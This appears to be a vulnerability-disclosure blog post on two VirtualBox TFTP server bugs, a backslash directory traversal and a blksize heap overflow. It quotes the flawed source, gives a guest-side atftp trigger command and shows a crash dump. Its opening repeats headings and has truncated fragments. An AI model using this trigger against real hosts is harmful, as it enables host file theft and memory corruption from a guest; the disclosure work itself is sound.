In my previous blog post I wrote about VirtualBox DHCP bugs which can be triggered from an unprivileged guest user, in the default configuration and without Guest Additions installed. TFTP server for PXE boot is another attack surface which can be reached from the same configuration. VirtualBox in NAT mode (default configuration) runs a read only TFTP server in the IP address 10.0.2.4 to support PXE boot.
CVE-2019-2553 - Directory traversal vulnerability
The source code of the TFTP server is at src/VBox/Devices/Network/slirp/tftp.c and it is based on the TFTP server used in QEMU. The below comment can be found in the source:
\.VirtualBox\TFTP. Payload to read other files from the host needs to be crafted accordingly. Below is the demo:
CVE-2019-2552 - Heap overflow due to incorrect validation of TFTP blocksize option
The function tftpSessionOptionParse() sets the value of TFTP options
For the ease of debugging lets use VirtualBox for Linux. Create a file of size say UINT16_MAX in the host TFTP root folder i.e. ~/.config/VirtualBox/TFTP, then read the file from the guest with a large blksize value
CVE-2019-2553 - Directory traversal vulnerability
The source code of the TFTP server is at src/VBox/Devices/Network/slirp/tftp.c and it is based on the TFTP server used in QEMU. The below comment can be found in the source:
* This code is based on: * * tftp.c - a simple, read-only tftp server for qemuThe guest provided file path is validated using the function tftpSecurityFilenameCheck() as below:
/** * This function evaluate file name. * @param pu8Payload * @param cbPayload * @param cbFileName * @return VINF_SUCCESS - * VERR_INVALID_PARAMETER - */ DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession) { size_t cbSessionFilename = 0; int rc = VINF_SUCCESS; AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER); cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX); if ( !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3) || (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/') || RTStrStr((const char *)pcTftpSession->pszFilename, "/../")) rc = VERR_FILE_NOT_FOUND; /* only allow exported prefixes */ if ( RT_SUCCESS(rc) && !tftp_prefix) rc = VERR_INTERNAL_ERROR; LogFlowFuncLeaveRC(rc); return rc; }This code again is based on the validation done in QEMU (slirp/tftp.c)
/* do sanity checks on the filename */ if (!strncmp(req_fname, "../", 3) || req_fname[strlen(req_fname) - 1] == '/' || strstr(req_fname, "/../")) { tftp_send_error(spt, 2, "Access violation", tp); return; }Interesting observation here is, above validation done in QEMU is specific to Linux hosts. However, VirtualBox relies on the same validation for Windows hosts too. Since backslash can be used as directory separator in Windows, validations done in tftpSecurityFilenameCheck() can be bypassed to read host files accessible under the privileges of the VirtualBox process. The default path to TFTP root folder is C:\Users\
CVE-2019-2552 - Heap overflow due to incorrect validation of TFTP blocksize option
The function tftpSessionOptionParse() sets the value of TFTP options
DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader) { ... else if (fWithArg) { if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName)) { rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize); if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX) rc = VERR_INVALID_PARAMETER; } ...'blksize' option is checked if the value is > UINT16_MAX. Later the value OptionBlkSize.u64Value gets used in tftpReadDataBlock() to read the file content
DECLINLINE(int) tftpReadDataBlock(PNATState pData, PTFTPSESSION pcTftpSession, uint8_t *pu8Data, int *pcbReadData) { RTFILE hSessionFile; int rc = VINF_SUCCESS; uint16_t u16BlkSize = 0; . . . AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER); . . . u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value; . . . rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead); . . . }pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX validation is incorrect. During the call to RTFileRead(), the file contents can overflow the buffer adjacent to 'pu8Data' by setting a value for blksize greater than the MTU. This bug can be used in combination with directory traversal bug to trigger the heap overflow with controlled data e.g. if shared folders are enabled, guest can drop a file with arbitrary contents in the host, then read the file using directory traversal bug.
For the ease of debugging lets use VirtualBox for Linux. Create a file of size say UINT16_MAX in the host TFTP root folder i.e. ~/.config/VirtualBox/TFTP, then read the file from the guest with a large blksize value
guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fff8ccf4700 (LWP 11024)] [----------------------------------registers-----------------------------------] RAX: 0x4141414141414141 ('AAAAAAAA') RBX: 0x7fff8e5f16dc ('A'...) RCX: 0x1 RDX: 0x4141414141414141 ('AAAAAAAA') RSI: 0x800 RDI: 0x140e730 --> 0x219790326 RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...) RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...) RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx) R8 : 0x0 R9 : 0x10 R10: 0x41414141 ('AAAA') R11: 0x7fff8e5f1de4 ('A' ...) R12: 0x140e720 --> 0xdead0002 R13: 0x7fff8e5f1704 ('A' ...) R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...) R15: 0x140e730 --> 0x219790326 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fff9457d89f <slirp_uma_alloc>: test rax,rax 0x7fff9457d8a2 <slirp_uma_alloc>: je 0x7fff9457d8b0 <slirp_uma_alloc> 0x7fff9457d8a4 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20] => 0x7fff9457d8a8 <slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx 0x7fff9457d8ac <slirp_uma_alloc>: mov rax,QWORD PTR [rbx+0x18] 0x7fff9457d8b0 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20] 0x7fff9457d8b4 <slirp_uma_alloc>: mov QWORD PTR [rdx],rax 0x7fff9457d8b7 <slirp_uma_alloc>: mov rax,QWORD PTR [r12+0x88] [------------------------------------stack-------------------------------------] 0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...) 0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002 0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045 0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0 0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326 0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0 0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...) 0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test rax,rax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV